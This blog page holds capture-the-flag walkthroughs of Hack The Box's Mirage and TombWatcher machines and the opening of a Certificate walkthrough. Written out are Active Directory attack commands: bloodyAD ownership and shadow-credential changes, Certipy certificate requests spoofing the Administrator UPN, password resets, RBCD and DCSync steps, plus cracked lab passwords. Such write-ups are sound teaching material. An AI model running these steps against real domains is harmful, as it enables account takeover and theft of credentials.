❌

Normal view

There are new articles available, click to refresh the page.
Before yesterdayMain stream

Hack The Box: Mirage Machine Walkthrough – Hard Difficulity

By: darknite
22 November 2025 at 09:58
Reading Time: 13 minutes

Introduction to Mirage:

In this writeup, we will explore the β€œMirage” machine from Hack The Box, categorized as a Hard difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the β€œMirage” machine from Hack The Box by achieving the following objectives:

User Flag:

We kicked off with NFS, SMB, and Kerberos enumeration, mounted the open MirageReports share, and grabbed two internal PDFs. One revealed the missing hostname nats-svc.mirage.htb. We hijacked DNS with DNSadder.py, funneled all NATS traffic through our proxy, and snatched JetStream auth_logs messages β€” yielding valid credentials for david.jjackson. After syncing our clock with the DC, we scored a TGT, fired up Evil-WinRM, and landed on the domain controller as david.jjackson to claim the user flag.

Root Flag:

We started with david.jjackson’s ticket, and then kerberoasted nathan.aadam. After cracking his password, we gained his shell and subsequently discovered mark.bbond’s credentials. From there, we also retrieved the Mirage-Service$ managed password. With these pieces, we used Certipy to forge a DC01$ certificate, and as a result, we configured RBCD so mark.bbond could impersonate the domain controller. Once that was in place, we executed DCSync to dump all domain hashes, including Administrator. Finally, we obtained an Admin TGT and used Evil‑WinRM to open a shell as Administrator, which ultimately allowed us to claim the root flag.

Enumerating the Mirage Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oA initial 10.10.11.78 

Nmap Output:

β”Œβ”€[dark@parrot]─[~/Documents/htb/mirage]
└──╼ $nmap -sC -sV -oA initial 10.10.11.78 
Nmap scan report for 10.10.11.78
Host is up (0.15s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-11-20 20:52:31Z)
111/tcp  open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time
2049/tcp open  nlockmgr      1-4 (RPC #100021)
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -22m05s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2025-11-20T20:53:32
|_  start_date: N/A

Analysis:

  • Port 53 (DNS) – Provides internal domain resolution. Useful for discovering hostnames and performing zone transfers if misconfigured.
  • β€’ Port 88 (Kerberos) – Active Directory authentication endpoint. Key for attacks like Kerberoasting or AS‑REP roasting.
  • β€’ Ports 111 & 2049 (NFS) – NFS running on a Windows DC is unusual. Could allow unauthenticated mounts or expose readable files.
  • β€’ Ports 135 / 139 / 445 (MSRPC / SMB) – Standard Windows services. SMB signing is enforced, which prevents NTLM relay attacks.
  • β€’ Ports 389 / 636 / 3268 / 3269 (LDAP / Global Catalog) – Full AD environment. LDAP enumeration is possible if permissions are misconfigured.
  • β€’ Port 464 (kpasswd) – Kerberos password change service. Can provide insights for password‑spray attempts.
  • β€’ Port 593 (RPC over HTTP) – RPC over HTTP interface. Typically used for Outlook Anywhere or AD RPC proxying.

Server Enumeration:

Perform web enumeration to discover potentially exploitable directories and files.

We scanned SMB and saw the service up, but mirage.htb blocked all NTLM logins (even dark:dark failed with STATUS_NOT_SUPPORTED). Kerberos only from now on.

We added the domain/realm to /etc/krb5.conf and used -k flags everywhere β€” no more passwords over the wire.

NFS Share Enumeration and Mounting Process on Mirage machine

The showmount -e mirage.htb command reveals that the target is exporting an NFS share named /MirageReports, and it is accessible to everyone. This means the share does not enforce host-based restrictions, allowing any machine to mount it. Since the export is world-accessible, it’s likely a good entry point for enumeration, as you can mount the share locally and inspect its contents for sensitive files, misconfigurations, or clues leading to further access.

The mount attempt failed because the local path /mnt/mirage doesn’t exist on our machine. NFS requires a valid directory to mount a remote share, so before accessing the exported /MirageReports share, we need to create a local mount point.

Creating the directory with mkdir -p /mnt/mirage resolves the issue, allowing us to mount the share and begin enumerating its contents.

The β€œfailed to apply fstab options” error usually comes from stale mount settings or syntax issues. Just rerun the command cleanly or add -o vers=3,nolock – it fixes the problem in HTB.

We corrected the syntax (added -o vers=3,nolock when needed) and re-ran mount -t nfs mirage.htb:/MirageReports /mnt/mirage. The share mounted perfectly and gave us full access to the internal reports.

After mounting the NFS share, ls reveals two PDFs: Incident_Report_Missing_DNS_Record_nats-svc.pdf and Mirage_Authentication_Hardening_Report.pdf. These internal reports likely expose misconfigurations and are key for further enumeration.

This command copies all files from the mounted NFS share at /mnt/mirage into your current working directory using elevated privileges. It allows you to analyze the documents locally without needing to stay connected to the NFS share.

Discovery and Analysis of Internal Reports

After copying, the files should now be available in your current working directory for further analysis.

Reviewing the Incident_Report_Missing_DNS_Record_nats-svc.pdf file revealed an additional hostname: nats-svc.mirage.htb.

Exploiting Missing DNS Entry for NATS Interception on Mirage Machine

The Incident Report showed nats-svc.mirage.htb missing from DNS β†’ internal clients failed to resolve it. We fired up DNSadder.py, added a fake record to our proxy, and hijacked all NATS traffic β†’ full MITM on auth and JetStream (including auth_logs).

Enumerating and Interacting With NATS JetStream

NATS is a messaging system that helps different parts of a company’s software talk to each other. Instead of applications connecting directly, they send messages through NATS, which delivers them quickly and reliably.

To install the NATS command‑line interface on Parrot OS, you can use the Go toolchain included in the system. Simply run the command go install github.com/nats-io/natscli/nats@latest, which downloads and compiles the latest version of the NATS CLI and places it in your Go binaries directory for use.

To verify that the NATS CLI installed correctly, simply run the nats command in your terminal. If the installation was successful, it should display the available subcommands and usage information, confirming that the tool is ready to use.

Checking the auth_logs Stream

nats stream info auth_logs showed a small stream (max 100 messages) on subject logs.auth that currently held 5 messages β€” perfect for grabbing credentials.

Creating a Pull Consumer

We created a pull consumer named whare1 on the auth_logs stream using Dev_Account_A credentials. It fetches messages one-by-one with explicit acknowledgment, allowing us to retrieve all five stored authentication logs.

Grabbing the Credentials

We fetched the five messages from the auth_logs stream using our whare1 consumer. Every message (subject logs.auth) contained the same authentication event:

  • Username: david.jjackson
  • Password: pN8kQmn6b86!1234@
  • Source IP: 10.10.10.20

All messages were acknowledged and consumed successfully, confirming we now have valid domain credentials.

Extracting Credentials and Kerberos Ticket Operations

The leaked david.jjackson:pN8kQmn6b86!1234@ credentials let us request a Kerberos TGT with impacket-getTGT. The first try failed due to clock skew; after sudo ntpdate -s 10.10.11.78, the second attempt succeeded and saved david.jjackson.ccache

Initial Foothold – david.jjackson Access on Mirage Machine

After syncing time with sudo ntpdate -s 10.10.11.78, the second impacket-getTGT run succeeded and gave us a valid TGT.

This command sets the KRB5CCNAME environment variable to use the david.jjackson.ccache file as the active Kerberos ticket. It tells all Kerberos‑aware tools to use this ticket automatically for authentication instead of a password.

Try running the command again if it doesn’t work on the first attempt.

Lateral Movement Using Cracked SPN Credentials

With david.jjackson’s ticket, we ran impacket-GetUserSPNs -k -no-pass and discovered a crackable Kerberos service ticket ($krb5tgs$23$) for the SPN HTTP/exchange.mirage.htb, belonging to the high-privileged user nathan.aadam (member of Exchange_Admins group).

Cracking the TGS β†’ Password: 3edc#EDC3

We cracked the TGS hash using John and the RockYou wordlist, recovering the password 3edc#EDC3 for nathan.aadam β€” a weak credential that immediately granted us access to this Exchange Admins group member.

BloodHound Collection and Domain Enumeration on Mirage machine

As nathan.aadam, we ran BloodHound and dumped the entire Active Directory structure for privilege escalation path hunting.

Mark.bbond is a member of the IT Support group, and he has the ForceChangePassword privilege over the user javier.mmarshall.

Javier.mmarshall has ReadGMSAPassword permission on the account Mirage-Service$.

nxc smb dc01.mirage.htb with nathan.aadam initially failed due to clock skew (krb_ap_err_skew). After syncing time again (ntpdate -s 10.10.11.78), authentication succeeded cleanly.

Same clock skew issue hit nxc smb. After ntpdate -s 10.10.11.78, it worked instantly and confirmed valid access as nathan.aadam : 3edc#EDC3 on the DC.

We used the cracked password 3edc#EDC3 to obtain a Kerberos TGT for nathan.aadam (impacket-getTGT). The ticket was saved as nathan.aadam.ccache, giving us full Kerberos access for the next steps

Accessing the DC as nathan.aadam

Connected instantly as nathan.aadam β†’ full PowerShell access on the Domain Controller.

Grabbing the User Flag

We can read the user flag by typing the β€œtype user.txt” command

Escalate to Root Privileges Access on Mirage Machine

Privilege Escalation Attempts and LogonHours Analysis

A screen shot of a computer

AI-generated content may be incorrect.

We checked AD LogonHours. javier.mmarshall had all zeroes β†’ account completely locked out (can’t log in anytime). This hinted the account was disabled but still present for potential abuse.

A screen shot of a computer

AI-generated content may be incorrect.

No default password was detected.

You can transfer the WinPEAS executable to the compromised host by running the upload command inside your Evil‑WinRM session. This pushes the file from your attack machine directly into the victim’s system, allowing you to execute it afterwards for privilege‑escalation enumeration.

No usable credentials were identified.

This command verifies SMB access on dc01.mirage.htb using Kerberos authentication with the mark.bbond credentials. The scan shows the host details and confirms a successful login, indicating that the provided password is valid and SMB authentication for this account works correctly.

The command requests a Kerberos TGT for the user MARK.BBOND using the discovered password 1day@atime. By specifying the domain controller IP, the tool authenticates against the DC and generates a valid ticket. Once successful, the resulting Kerberos ticket is saved locally as MARK.BBOND.ccache for use in later Kerberos‑based operations.

Password Resets, Kerberos Tickets, and Service Account Abuse

A password reset for the account javier.mmarshall was performed using bloodyAD. By authenticating as mark.bbond with Kerberos (-k) and supplying valid domain credentials, the command successfully updated the user’s password to p@ssw0rd123, confirming the operation completed without issues.

Attempting to obtain a TGT for the account javier.mmarshall with impacket-getTGT results in a KDC_ERR_CLIENT_REVOKED error. This indicates the credentials are no longer valid because the account has been disabled or otherwise revoked in Active Directory, preventing any Kerberos authentication from succeeding.

Enabling javier.mmarshall (disabled account)

By running the command shown above, the password update completed successfully.

A screenshot of a computer screen

AI-generated content may be incorrect.

As mark.bbond, we used BloodyAD to read the msDS-ManagedPassword attribute of the Mirage-Service$ managed service account and instantly retrieved its current plaintext password + NTLM hash.

We used Impacket to request a Kerberos TGT for Mirage-Service$ with its leaked NTLM hash (pass-the-hash). This gave us a valid ticket without ever needing the plaintext password.

We asked the domain CA for a certificate using mark.bbond (now pretending to be dc01$). The CA accepted it and gave us a shiny dc01.pfx file that lets us log in as the real domain controller machine account.

After exporting the Kerberos ticket with export KRB5CCNAME=mark.bbond.ccache, a certificate request is made using Certipy


We requested a certificate for mark.bbond (UPN = dc01$@mirage.htb). The CA issued it without issues β†’ dc01.pfx ready for authentication as the DC machine account.

We cleaned up by resetting mark.bbond’s UPN back to mark.bbond@mirage.htb with Certipy – leaving no obvious traces.

Certificate Abuse and Resource-Based Constrained Delegation (RBCD)

With the dc01.pfx certificate, Certipy authenticated us over LDAPS as MIRAGE\DC01$ – we now had full LDAP control as the domain controller itself.

We used Certipy to grant mark.bbond Resource-Based Constrained Delegation over DC01$ – now mark.bbond can impersonate anyone (including Administrator) to the domain controller.

As mark.bbond, we ran impacket-getST to impersonate DC01$ and request a CIFS ticket for the real DC. Delegation succeeded β†’ valid ticket saved.

The Kerberos ticket was set as the active credential cache by exporting it to the KRB5CCNAME environment variable:

export KRB5CCNAME=DC01$@<a>CIFS_dc01.mirage.htb@MIRAGE.HTB.ccache</a>

With the delegated CIFS ticket, we executed impacket-secretdump -k dc01.mirage.htb and successfully dumped the entire NTDS.DIT β€” every user and machine hash, including Administrator’s, was now ours.

The impacket-getTGT command was executed using the Administrator NTLM hash to request a Kerberos TGT from the Mirage domain controller. The request completed successfully, and the resulting ticket was saved locally as Administrator.ccache.

The evil-winrm command was used to connect to dc01.mirage.htb with Kerberos authentication. Evil‑WinRM initialized successfully, displaying standard warnings about Ruby’s path‑completion limitations and noting that the provided username is unnecessary when a Kerberos ticket is already available. The session then proceeded to establish a connection with the remote host.

We can read the root flag by typing the β€œtype root.txt” command

The post Hack The Box: Mirage Machine Walkthrough – Hard Difficulity appeared first on Threatninja.net.

Hack The Box: Tombwatcher Machine Walkthrough – Medium Difficulty

By: darknite
11 October 2025 at 10:58
Reading Time: 11 minutes

Introduction to TombWatcher:

In this write-up, we will explore the β€œTombWatcher” machine from HackTheBox, categorised as a Medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Like real-world Windows engagements, start TombWatcher using the henry account with password H3nry_987TGV!.

Objective:

The goal of this walkthrough is to complete the β€œTombwatcher” machine from Hack The Box by achieving the following objectives:

User Flag:

Using Kerberos and AD enumeration, the team cracked a TGS hash (Alfred β†’ password: basketballl) and escalated access through account takeover and BloodHound-guided actions until they obtained valid interactive credentials for a machine user (john). With John’s credentials they authenticated to the host and retrieved the user flag by running type user.txt.

Root Flag:

We exploited a misconfigured certificate template (ESC15) with Certipy to request a certificate for the Administrator UPN, obtained a TGT (saved in administrator.ccache), and extracted the Administrator NT hash. Using those Administrator credentials, they logged into the DC/host and read the root flag with type root.txt.

Enumerating the Tombwatcher Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oA initial 10.10.11.72

Nmap Output:

β”Œβ”€[dark@parrot]─[~/Documents/htb/tombwatcher]
└──╼ $nmap -sC -sV -oA initial 10.10.11.72 
# Nmap 7.94SVN scan initiated Thu Oct  9 23:26:58 2025 as: nmap -sC -sV -oA initial 10.10.11.72
Nmap scan report for 10.10.11.72
Host is up (0.23s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-10-10 02:11:57Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2025-10-09T17:02:50
|_Not valid after:  2026-10-09T17:02:50
|_ssl-date: 2025-10-10T02:13:32+00:00; -1h15m15s from scanner time.
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-10-10T02:13:31+00:00; -1h15m16s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2025-10-09T17:02:50
|_Not valid after:  2026-10-09T17:02:50445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-10-10T02:13:31+00:00; -1h15m16s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2025-10-09T17:02:50
|_Not valid after:  2026-10-09T17:02:50
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-10-10T02:13:32+00:00; -1h15m16s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2025-10-09T17:02:50
|_Not valid after:  2026-10-09T17:02:50
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-10-10T02:13:31+00:00; -1h15m16s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2025-10-09T17:02:50
|_Not valid after:  2026-10-09T17:02:50
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -1h15m16s, deviation: 1s, median: -1h15m16s
| smb2-time: 
|   date: 2025-10-10T02:12:48
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Analysis:

  • 53/tcp β€” DNS (Simple DNS Plus): handles name resolution for the domain.
  • 80/tcp β€” HTTP (Microsoft-IIS/10.0): web server (TRACE enabled β€” potential info leak).
  • 88/tcp β€” Kerberos: AD authentication and ticketing service.
  • 135/tcp β€” MSRPC (Endpoint Mapper): Windows RPC enumeration and service discovery.
  • 139/tcp β€” NetBIOS-SSN: legacy file/share name resolution and enumeration.
  • 389/tcp β€” LDAP: Active Directory directory service (user/group enumeration).
  • 445/tcp β€” SMB (Microsoft-DS): file shares, enumeration, and lateral-movement vectors.
  • 464/tcp β€” kpasswd5: Kerberos password change service (can be abused in some workflows).
  • 593/tcp β€” RPC over HTTP: RPC tunneling over HTTP, useful for certain Windows RPC attacks.
  • 636/tcp β€” LDAPS: encrypted LDAP (useful for secure directory queries).
  • 3268/tcp β€” Global Catalog (LDAP): cross-domain AD object searches (fast user/group lookup).
  • 3269/tcp β€” Global Catalog (LDAPS): encrypted Global Catalog for secure cross-domain queries.

Enumeration:

The website lacks engaging content, featuring only an IIS interface.

BloodHound Enumeration Using Henry’s Credentials

Authentication is performed with the username β€œHenry” and password β€œH3nry_987TGV!”, using the nameserver at IP 10.10.11.72 for DNS resolution. All AD elements, such as groups, sessions, trusts, and ACLs (excluding real-time logged-on users), are gathered with the β€œ-c All” flag, and the JSON output is packaged into a compressed ZIP archive via the β€œβ€“zip” flag for import into the BloodHound GUI to visualize attack paths.

Henry added an SPN to Alfred’s account, which lets attackers request a service ticket for that SPN and perform Kerberoasting to crack Alfred’s password; since Henry could write the SPN, this is a direct takeover pathβ€”enumerate SPNs, request the TGS, and crack it offline.

Attempted to use GetUserSPN, but no entries were found!

Targeted Kerberoasting Attack Using Henry’s Credentials

Unfortunately, no results were obtained when using targeted Kerberos enumeration.

The provided string is a Kerberos TGS (Ticket Granting Service) hash in the $krb5tgs$23$*Alfred$TOMBWATCHER.HTB$tombwatcher.htb/Alfred* format, associated with the user β€œAlfred” in the β€œtombwatcher.htb” domain, likely obtained after successful clock synchronisation using ntpdate. This hash, commonly used in penetration testing scenarios like Hack The Box, can be cracked using tools like Hashcat to reveal Alfred’s credentials, enabling further privilege escalation or lateral movement within the domain. The hash includes encrypted ticket data, which can be analyzed to exploit vulnerabilities in the Kerberos authentication system.

We successfully cracked the Kerberos hash and obtained the password β€œbasketballl” for the user Alfred on the domain.

BloodHound Enumeration Using ansible_dev’s Credentials

We should collect additional information using BloodHound-python

Infrastructure has ReadGMSAPassword on ansible_dev, which lets an attacker retrieve the gMSA password material for that account.

We attempted to use the GMSDumper script to retrieve the NTLM hash, but only infrastructure-related data was obtained.

Let’s add Alfred to the infrastructure group to proceed.

Finally, we obtained the NTLM hash for the user ansible_dev$.

Consequently, the attack successfully changed the password to gain SAM access.

BloodHound Enumeration Using SAM’s Credentials

We encountered a timeout error while trying to collect data with BloodHound.py.

We successfully resolved the issue by updating the clock skew.

Forcibly changed the ansible_dev account password to sam, giving immediate authentication capability as ansible_dev; this lets you log in as that service account (or use its credentials on hosts that accept it) to pivot, access service resources, or escalate furtherβ€”next, validate access and hunt hosts using ansible_dev.

Privilege Escalation via BloodyAD

Using bloodyAD with the command bloodyAD --host 10.10.11.72 -d tombwatcher.htb -u sam -p 'Passw@rd' set owner john sam, we successfully replaced the old owner of the β€œjohn” object with β€œsam” in the tombwatcher.htb domain.

The command bloodyAD --host 10.10.11.72 -d "tombwatcher.htb" -u "sam" -p 'Passw@rd' add genericAll "john" "sam" successfully granted β€œsam” GenericAll permissions on the β€œjohn” object in the tombwatcher.htb domain.

bloodyAD --host 10.10.11.72 -d tombwatcher.htb -u 'sam' -p 'Passw@rd' add shadowCredentials john effectively added Shadow Credentials to the β€œjohn” object in the tombwatcher.htb domain, enabling potential Kerberos-based attacks like certificate-based authentication exploitation.

Set the environment variable KRB5CCNAME to john_E8.ccache with the command export KRB5CCNAME=john_E8.ccache to designate the Kerberos credential cache file for authentication operations involving the user β€œjohn” in the tombwatcher.htb domain.

Attempting to retrieve the NT hash with getnthash resulted in failure.

Efforts to use bloodyAD to obtain the β€˜SAM’ object were unsuccessful.

The UserAccountControl settings indicate a standard account with a non-expiring password.

Issuing python3 owneredit.py -action write -target β€˜john’ -new-owner β€˜sam’ β€˜tombwatcher.htb/sam’:’Abc123456@’ -dc-ip 10.10.11.72 actively changed the owner of the β€˜john’ object to β€˜sam’ in the tombwatcher.htb domain, targeting the domain controller at IP 10.10.11.72 with the provided credentials, and successfully updated the OwnerSID.

Ultimately, we successfully updated the password for the β€˜john’ account in the tombwatcher.htb domain.

We successfully gained access to the machine using John’s credentials in the tombwatcher.htb domain.

Executing the command type user.txt allows viewing the user flag on the compromised machine in the tombwatcher.htb domain.

Escalate to Root Privileges Access

Privilege Escalation:

Running Get-ADObject -Filter {SamAccountName -eq 'cert_admin'} -IncludeDeletedObjects retrieves the Active Directory object for the β€˜cert_admin’ account, including any deleted objects, in the tombwatcher.htb domain.

Attempting to restore all objects using their ObjectGUID in the tombwatcher.htb domain.

Running Enable-ADAccount -Identity cert_admin reactivates the β€˜cert_admin’ account in the tombwatcher.htb domain, allowing its use within Active Directory.

Issuing Set-ADAccountPassword -Identity cert_admin -Reset -NewPassword (ConvertTo-SecureString "Abc123456@" -AsPlainText -Force) resets the password for the β€˜cert_admin’ account to β€œAbc123456@” in the tombwatcher.htb domain, securely applying the change.

Identifying Vulnerable Certificate Templates with Certipy

Launching certipy find -u cert_admin -p 'Abc123456@' -dc-ip 10.10.11.72 -vulnerable scans for vulnerable certificate templates in the tombwatcher.htb domain using the β€˜cert_admin’ account credentials, targeting the domain controller at IP 10.10.11.72.

Attackers identified the ESC15 vulnerability in the target domain, revealing a misconfiguration in certificate templates that enables unauthorized privilege escalation.

ESC15: Exploiting Certificate Services for Privilege Escalation

AD PKI Attack: Enroll a Certificate to Compromise Administrator

ESC15 is an Active Directory PKI attack where attackers abuse overly permissive certificate templates to obtain certificates for high‑privilege accounts (e.g., Administrator). By enrolling or abusing a template that allows non‑admin principals to request certificates or act as Certificate Request Agents, an attacker can request a certificate embedding a target UPN/SID, use it for PKINIT/CertAuth to get a TGT, and then escalate to domain compromise.

Issuing certipy req -u 'cert_admin@tombwatcher.htb' -p 'Abc123456@' -dc-ip '10.10.11.72' -target 'DC01.tombwatcher.htb' -ca 'tombwatcher-CA-1' -template 'WebServer' -upn 'administrator@tombwatcher.htb' -application-policies 'Client Authentication' requests a certificate in the tombwatcher.htb domain using the β€˜cert_admin’ account, targeting the domain controller DC01 at IP 10.10.11.72, leveraging the β€˜WebServer’ template from the β€˜tombwatcher-CA-1’ authority with the UPN β€˜administrator@tombwatcher.htb’ for client authentication purposes.

Failed Authentication Attempt with administrator.pfx Using Certipy

In the updated system, an error occurs when examining the signature algorithm, indicating CA_MD_TOO_WEAK.

Running openssl pkcs12 -in administrator.pfx -clcerts -nokeys | openssl x509 -text -noout extracts and displays the certificate details from the administrator.pfx file in a human-readable format, excluding private keys.

The certificate uses the SHA1withRSAEncryption signature algorithm, as revealed by analyzing the administrator.pfx file in the tombwatcher.htb domain.

Issuing certipy req -u β€˜cert_admin@tombwatcher.htb’ -p β€˜P@ssw0rd’ -dc-ip β€˜10.10.11.72’ -target β€˜DC01.tombwatcher.htb’ -ca β€˜tombwatcher-CA-1’ -template β€˜WebServer’ -application-policies β€˜Certificate Request Agent’ requests a certificate from a V1 template in the tombwatcher.htb domain, using the β€˜cert_admin’ account, targeting the domain controller DC01 at IP 10.10.11.72, via the β€˜tombwatcher-CA-1’ authority with the β€˜WebServer’ template, and injecting the β€œCertificate Request Agent” application policy.

Leverage the Certipy to request a certificate in the tombwatcher.htb domain. It uses the β€˜cert_admin’ account with password β€˜Abc123456@’ to authenticate, targeting the domain controller β€˜DC01.tombwatcher.htb’ at IP 10.10.11.72. The request, made through the β€˜tombwatcher-CA-1’ certificate authority with the β€˜User’ template, utilizes the β€˜cert_admin.pfx’ file (likely holding a Certificate Request Agent certificate) to request a certificate on behalf of the β€˜tombwatcher\Administrator’ account. This exploits the ESC15 vulnerability, where a misconfigured certificate template allows β€˜cert_admin’ to impersonate the Administrator, potentially enabling elevated privileges via Kerberos authentication or other attack vectors.

It embedded with the Administrator’s UPN (β€˜Administrator@tombwatcher.htb’) and SID (β€˜S-1-5-21-1392491010-1358638721-2126982587-500’), enabling Certipy to obtain a Kerberos Ticket Granting Ticket (TGT) for the Administrator account. Certipy stores the TGT in administrator.ccache and extracts the NT hash for administrator@tombwatcher.htb ,allowing privilege escalation or full administrative access within the tombwatcher.htb domain.

Successfully gained access to the tombwatcher.htb domain using the extracted NT hash for β€˜administrator@tombwatcher.htb’

Issuing the command type root.txt allows reading the root flag on the compromised machine in the tombwatcher.htb domain, confirming administrative access.

The post Hack The Box: Tombwatcher Machine Walkthrough – Medium Difficulty appeared first on Threatninja.net.

Hack The Box: Certificate Machine Walkthrough – Hard Difficulty

By: darknite
4 October 2025 at 10:58
Reading Time: 12 minutes

Introduction to Certificate:

In this write-up, we will explore the β€œCertificate” machine from Hack The Box, categorized as a Hard difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the β€œCertificate” machine from Hack The Box by achieving the following objectives:

User Flag:

We found a login account (lion.sk) by analyzing network traffic and files, then cracked a captured password hash to get the password. Using that password we remotely logged into the machine as lion.sk and opened the desktop to read the user.txt file, which contained the user flag.

Root Flag:

To get full control (root), we abused the machine’s certificate system that issues digital ID cards. By requesting and extracting certificate material and using a small trick to handle the server’s clock, we converted those certificate files into administrative credentials. With those elevated credentials we accessed the system as an admin and read the root.txt file for the root flag.

Enumerating the Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oA initial 10.10.11.71

Nmap Output:

β”Œβ”€[dark@parrot]─[~/Documents/htb/certificate]
└──╼ $nmap -sC -sV -oA initial 10.10.11.71 
# Nmap 7.94SVN scan initiated Tue Sep 30 21:48:51 2025 as: nmap -sC -sV -oA initial 10.10.11.71
Nmap scan report for 10.10.11.71
Host is up (0.048s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.0.30)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
|_http-title: Did not follow redirect to http://certificate.htb/
